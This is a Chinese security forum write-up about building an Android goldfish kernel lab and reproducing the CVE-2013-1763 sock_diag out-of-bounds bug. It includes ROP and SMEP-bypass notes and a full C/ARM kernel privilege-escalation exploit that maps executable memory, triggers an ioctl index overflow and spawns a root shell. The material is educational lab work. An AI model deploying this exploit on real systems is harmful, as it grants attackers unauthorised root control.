搭建Android内核环境

本文为看雪论坛优秀文章

看雪论坛作者ID：Dawuge

本来是想尝试在Android下复现，但最后还是只在Linux下复现成功了，可能还是出现了些纰漏的地方。

以前搭建过linux的内核环境，当时是为了做kernel pwn搭建的，但是尝试复现Android kernel的漏洞，虽说原理相同，但还是重新搭建了新的环境。

搭建环境的步骤基本没遇到什么大坑，跟着这个库（https://github.com/Fuzion24/AndroidKernelExploitationPlayground）走基本就没遇到什么大坑。

配置

playground
├── android-sdk-linux
├── arm-linux-androideabi-4.6
├── goldfish
└── kernel_exploit_challenges

git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish && \
git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges && \
cd goldfish && git checkout -t origin/android-goldfish-3.4 && \
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \
cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities

搭建内核

export ARCH=arm SUBARCH=arm CROSS_COMPILE=arm-linux-androideabi- &&\
export PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH && \
cd goldfish && make goldfish_armv7_defconfig && make -j8

编译完成后，就会有两个主要的文件：goldfish/vmlinux 和 goldfish/arch/arm/boot/zImage。前面那个用于在调试时 gdb加载，后面的用于在安卓模拟器启动时加载。

vmlinux 用于提供符号表，zImage 则用于运行环境。

然后下载或者编译sdk，下载完成后解压并将 android-sdk-linux/tools 加入环境变量（.bashrc）。

wget http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
tar xvf android-sdk_r24.4.1-linux.tgz
export PATH=YOURPATH/android-sdk-linux/tools:$PATH

还要下jdk，在终端中输入 android，下载我们需要的 SDK 和系统镜像。

运行模拟器

创建模拟器：

android create avd --force -t "android-19" -n kernel_challenges

其选项按需求选择，反正我一开始是一路enter的。

接下来进入 goldfish 目录，执行下面的命令用我们的内核运行模拟器，并在 1234 端口 起一个 gdbserver 方便内核调试。

emulator -show-kernel -kernel arch/arm/boot/zImage -avd kernel_challenges -no-boot-anim -no-skin -no-audio -no-window -qemu -monitor unix:/tmp/qemuSocket,server,nowait -s

再开一个 shell，进入 goldfish 目录，加载 vmlinux 以便调试内核：

arm-linux-androideabi-gdb vmlinux

这里的gdb注意因为前面export path了，所以实际路径是在arm-linux-androideabi-4.6/bin里。

出现arm-linux-androideabi-gdb: error while loading shared libraries: libpython2.6.so.1.0: cannot open shared object file: No such file or directory问题时用以下方法即可：

ln -s /usr/lib/x86_64-linux-gnu/libpython2.7.so /lib/x86_64-linux-gnu/libpython2.6.so.1.0

这样基本上就可以调试内核了。

整体来说不太复杂，就是拖文件够呛，网络太差了orz。

之前调试kernel pwn题的时候还要烦些，后来用了两种方式搞定kernel环境，一是在虚拟机里搞定后再在本机的vscode 用ssh连接虚拟机，就实现了在vscode边写代码边测试的路子（很舒服），后来还是觉得麻烦因为要关hyper，不能使用wsl处理一般事务，于是就直接在我的pwn docker里直接搭建环境也成功了，然后再用docker共享文件也实现了边写代码边测试的路子（更舒服而且cpu的负荷啥的也小），具体搭建kernel环境的步骤不再累述，网上很多。

二更：分析了cve-2013-1763, 还是踩了一些坑

放一下一些内核的安全利用点(很不全），可以直接看ctf wiki或者其他的类似博客，大佬略过即可。

KASLR

内核地址空间随机化，内核地址显示限制，即kptr restrict指示是否限制通过/ proc和其他接口暴露内核地址。

0：默认情况下，没有任何限制。

1：使用％pK格式说明符打印的内核指针将被替换为0，除非用户具有CAP SYSLOG特权。

2：使用％pK打印的内核指针将被替换为0而不管特权。

也就是说，当kptr_ restrict被限制的时候我们不能直接通过cat /proc/kallsyms来获得commit_creds的地址，要禁用该限制使用下面的命令：
sudo sysctl -w kernel.kptr_restrict=0

内核的rop：

|----------------------|
| pop rdi; ret         |<== low mem
|----------------------|
| NULL                 |
|----------------------|
| addr of              |
| prepare_kernel_cred()|
|----------------------|
| mov rdi, rax; ret    |
|----------------------|
| addr of              |
| commit_creds()       |<== high mem
|----------------------|

smep

smep位于CR4寄存器的第20位，设置为1。CR4寄存器的值：0x1407f0 = 0001 0100 0000 0111 1111 0000

关闭SMEP方法

修改/etc/default/grub文件中的GRUB_CMDLINE_LINUX=""，加上nosmep/nosmap/nokaslr，然后update-grub就好。

绕过smep的方法

由于我们只能在内核空间执行代码，但是不能把ROP链放到内核空间中，所以只能用stack pivot把ROP链放到用户空间。然后在内核空间找到合适的gadget放到ROP链中。

stack pivot

mov rXx, rsp ; ret
add rsp, ...; ret
xchg rXx, rsp ; ret(xchg eXx, esp ; ret)
xchg rsp, rXx ; ret(xchg esp, eXx ; ret)

还有一种比较简单的绕过SMEP的方法是使用ROP翻转CR4的第20位并禁用SMEP，然后再执行commit_creds(prepare_kernel_cred(0))获取root权限。

如下构造：

offset of rip
pop rdi; ret
mov CR4, rdi; ret
commit_creds(prepare_kernel_cred(0))
swapgs
iretq
RIP
CS
EFLAGS
RSP
SS

漏洞的问题点其实不难，做过一点pwn的师傅们都能看的出来是个OOB类型的漏洞，简要分析下。

先看patch，发现增加了个对req->sdiag_family的大小检查，于是定位到这个函数。

发现外面还有个封装，不难看出要触发这个函数需要nlh的nlmsg_type类型为SOCK_DIAG_BY_FAMILY。

static int sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    int ret;
 
    switch (nlh->nlmsg_type) {
    case TCPDIAG_GETSOCK:
    case DCCPDIAG_GETSOCK:
        if (inet_rcv_compat == NULL)
            request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                    NETLINK_SOCK_DIAG, AF_INET);
 
        mutex_lock(&sock_diag_table_mutex);
        if (inet_rcv_compat != NULL)
            ret = inet_rcv_compat(skb, nlh);
        else
            ret = -EOPNOTSUPP;
        mutex_unlock(&sock_diag_table_mutex);
 
        return ret;
    case SOCK_DIAG_BY_FAMILY:
        return __sock_diag_rcv_msg(skb, nlh);
    default:
        return -EINVAL;
    }
}

可以在linux手册（http://man7.org/linux/man-pages/man7/netlink.7.html）上看到nlmsghdr结构：

struct nlmsghdr {
   __u32 nlmsg_len;    /* Length of message including header */
   __u16 nlmsg_type;   /* Type of message content */
   __u16 nlmsg_flags;  /* Additional flags */
   __u32 nlmsg_seq;    /* Sequence number */
   __u32 nlmsg_pid;    /* Sender port ID */
};
 
nlmsg_type can be one of the standard message types: NLMSG_NOOP mes‐
sage is to be ignored, NLMSG_ERROR message signals an error and the
payload contains an nlmsgerr structure, NLMSG_DONE message terminates
a multipart message.

要想调用到该结构体，需要使用NETLINK_SOCK_DIAG协议的Netlink套接字发送消息，具体可参考netlink编程（http://edsionte.com/techblog/archives/4140）或Netlink Socket（https://my.oschina.net/longscu/blog/59534），这里就不再累述。

再看__sock_diag_rcv_msg函数，可以知道，如果没有patch，那么在sock_diag_lock_handler的参数我们可以调用超过AF_MAX大小的值。

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    int err;
    struct sock_diag_req *req = nlmsg_data(nlh);
    const struct sock_diag_handler *hndl;
 
    if (nlmsg_len(nlh) < sizeof(*req))
        return -EINVAL;
 
    if (req->sdiag_family >= AF_MAX)
        return -EINVAL;
 
    hndl = sock_diag_lock_handler(req->sdiag_family);
    if (hndl == NULL)
        err = -ENOENT;
    else
        err = hndl->dump(skb, nlh);
    sock_diag_unlock_handler(hndl);
 
    return err;
}

再看sock_diag_lock_handler以及sock_diag_handlers函数组的定义，发现在这里就出现了OOB的问题。

static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
    if (sock_diag_handlers[family] == NULL)
        request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                NETLINK_SOCK_DIAG, family);
 
    mutex_lock(&sock_diag_table_mutex);
    return sock_diag_handlers[family];
}
 
static const struct sock_diag_handler *sock_diag_handlers[AF_MAX];

根据上面的一些介绍和链接参考基本上就能知道要如何去构造而exp了, 我看网络上公布的exp大致原理相同，可参考1,2,3，而
AndroidKernelExploitationPlayground是自己实现了个类似的漏洞，大致原理原理类似，但无需构造socket去与他交互和填充具体的结构体数值，更加好理解些。

exp的分析一起写在代码里了。

#include <stdio.h>
#include <strings.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "../../module/CommandHandler.h"
#include "dbg.h"
 
__u32
get_symbol(char *name)
{
        FILE *f;
        __u32 addr;
        char dummy, sname[512];
        int ret = 0;
 
        //在/proc/kallsyms文件中存放着结构体的地址，需要读取用来先对偏移
        //如果系统开启了内核地址显示限制可以用这个命令禁用
        //sudo sysctl -w kernel.kptr_restrict=0
        f = fopen("/proc/kallsyms", "r");
        if (!f) {
                return 0;
        }
 
        while (ret != EOF) {
                ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
                if (ret == 0) {
                        fscanf(f, "%s\n", sname);
                        continue;
                }
                if (!strcmp(name, sname)) {
                        printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
                        return addr;
                }
        }
 
        return 0;
}
 
__u32 commit_creds;
__u32 prepare_kernel_cred;
 
int main(void){
 
    //基本思路一样的，都是最终调用commit_creds(prepare_kernel_cred(0));
    commit_creds =  get_symbol("commit_creds");
    prepare_kernel_cred = get_symbol("prepare_kernel_cred");
 
    //这个是封装在AndroidKernelExploitationPlayground环境内的漏洞文件位置（这里和其他的exp不同，重点没有去构造socket与其交互，而是直接用其自己实现的伪“函数”，然后用ioctl与其交互。
 
    int cmd_handler = open("/dev/array_index", O_RDWR);
    check(cmd_handler >= 0, "Error opening challenge device");
 
    //这里就是构造一块可入可写可执行的用户空间，在这段空间内布置rop链
    __u32 mmap_start = 0x02000000, mmap_size = 0x15000;
 
    printf("[+] Mapping userspace memory at 0x%x\n", mmap_start);
 
    void * mapped = mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
        MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
        check(mapped != MAP_FAILED, "Failed mapping");
 
     //0x00000000 is nop for ARM
        bzero( (void*)mmap_start, mmap_size );
 
    //这里是arm上的exp，学过arm pwn的师傅们应该也不觉得陌生
    //先将prepare_kernel_creds的位置放入r3，在把参数赋为0，即prepare_kernel_creds（0）
    //调用r3内的函数（即prepare_kernel_creds）后，由于r0同时担当了保存返回值的角色，于是只需将接下来调用的寄存器赋为commit_creds即可
        __u32 jump[] = {
           //00000000 <_start>:
           /*   0:*/   0xe92d4010,           //  push    {r4, lr}
           /*   4:*/   0xe59f3010,           //  ldr r3, [pc, #16]   ; 1c <_start+0x1c> (prepare_kernel_creds)
           /*   8:*/   0xe3a00000,           //  mov r0, #0
           /*   c:*/   0xe12fff33,           //  blx r3
           /*  10:*/   0xe59f3008,           //  ldr r3, [pc, #8]    ; 20 <_start+0x20>  (commit_creds)
           /*  14:*/   0xe12fff33,           //  blx r3
           /*  18:*/   0xe8bd8010,           //  pop {r4, pc}
           /*  1c:*/   prepare_kernel_cred,  //  .word   prepare_kernel_cred
           /*  20:*/   commit_creds          //  .word   commit_creds
        };
 
    memcpy( (void*)mmap_start+mmap_size - sizeof(jump), jump, sizeof(jump));
 
    /*这里看一下触发的函数吧,都是OOB，但是没那么复杂，不需要构造socket交互，而是换为了ioctl
    CommandHandler handlers[] = {
       {
         .runHandler = &doNothingIntializer
       },
       {
         .runHandler = &doNothingIntializer
       }
    };
    long ai_ch_ioctl(struct file *filp,
                      unsigned int cmd,
                      unsigned long arg)
    {
     unsigned int handler_index = arg;
 
      switch (cmd) {
        case RUN_COMMAND_HANDLER:
           handlers[handler_index].runHandler();
           break;
        default :
           printk("Unknown ioctl cmd: %d", cmd);
           return -1;
      }
      return 0;
    }*/
 
    printf("[+] Triggering the exploit\n");
    int rc = ioctl(cmd_handler, RUN_COMMAND_HANDLER, 0x601);
    check(rc != -1, "IOCTL failed");
 
    printf("uid=%d, euid=%d\n",getuid(), geteuid() );
 
    if(!getuid())
      execl( "/system/bin/sh", "sh", (char*) NULL);
 
    return 0;
  error:
    return -1;
}

最后运行时需要注意，不要用串了。我一开始用错一个exp，直接用了exploit-db上的exp，而其对应的linux内核版本是3.3-3.8，而在Android模拟器上复现的话，还是用ndk编译，且具体的数据构造和exp内容（特别是汇编部分）还是不一样的，注意查看下对应的系统结构比如下面这个，注意对应的gcc版本，一开始没注意还运行不起来。

Linux version 3.4.67-g5e0dcfb (test@test-virtual-machine) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 PREEMPT Sun Mar 8 14:27:12 CST 2020

执行后程序报错，可能还是有些不准，pc值是0有些迷惑。

Unable to handle kernel NULL pointer dereference at virtual address 00000000
pgd = d77c4000
[00000000] *pgd=177bc831, *pte=00000000, *ppte=00000000
Internal error: Oops: 80000017 [#1] PREEMPT ARM
CPU: 0    Not tainted  (3.4.67-g5e0dcfb #1)
PC is at 0x0
LR is at ai_ch_ioctl+0x20/0x40
pc : [<00000000>]    lr : [<c025c1c0>]    psr: 60000013
sp : d77a3f18  ip : 00000005  fp : bec41b48
r10: 00000000  r9 : d77a2000  r8 : 00000000
r7 : 00000005  r6 : d768cc80  r5 : de05d590  r4 : 00000601
r3 : 00000000  r2 : c04adc40  r1 : 00001337  r0 : d768cc80
Flags: nZCv  IRQs on  FIQs on  Mode SVC_32  ISA ARM  Segment user
Control: 10c53c7d  Table: 177c4059  DAC: 00000015
 
[<c025c1c0>] (ai_ch_ioctl+0x20/0x40) from [<c00bf208>] (do_vfs_ioctl+0x560/0x5d4)
[<c00bf208>] (do_vfs_ioctl+0x560/0x5d4) from [<c00bf2c8>] (sys_ioctl+0x4c/0x6c)
[<c00bf2c8>] (sys_ioctl+0x4c/0x6c) from [<c000d680>] (ret_fast_syscall+0x0/0x30)
Code: bad PC value
---[ end trace 6e436d5d54b1e15f ]---
Kernel panic - not syncing: Fatal exception

未完待续吧，这个库里面还是有很多其他漏洞的，也推荐给想做arm上kernel漏洞复现的同学，但可能给android上的体会不太深，比较和Linux内核类似，且这次踩坑的时候心态有些炸了，具体的调试分析也直接草草分析过掉，希望下次能好些吧，争取复现下其他层次的漏洞。

唉，漫漫长路啊。

- End -

看雪ID：Dawuge

https://bbs.pediy.com/user-837839.htm 

*本文由看雪论坛 Dawuge 原创，转载请注明来自看雪社区。

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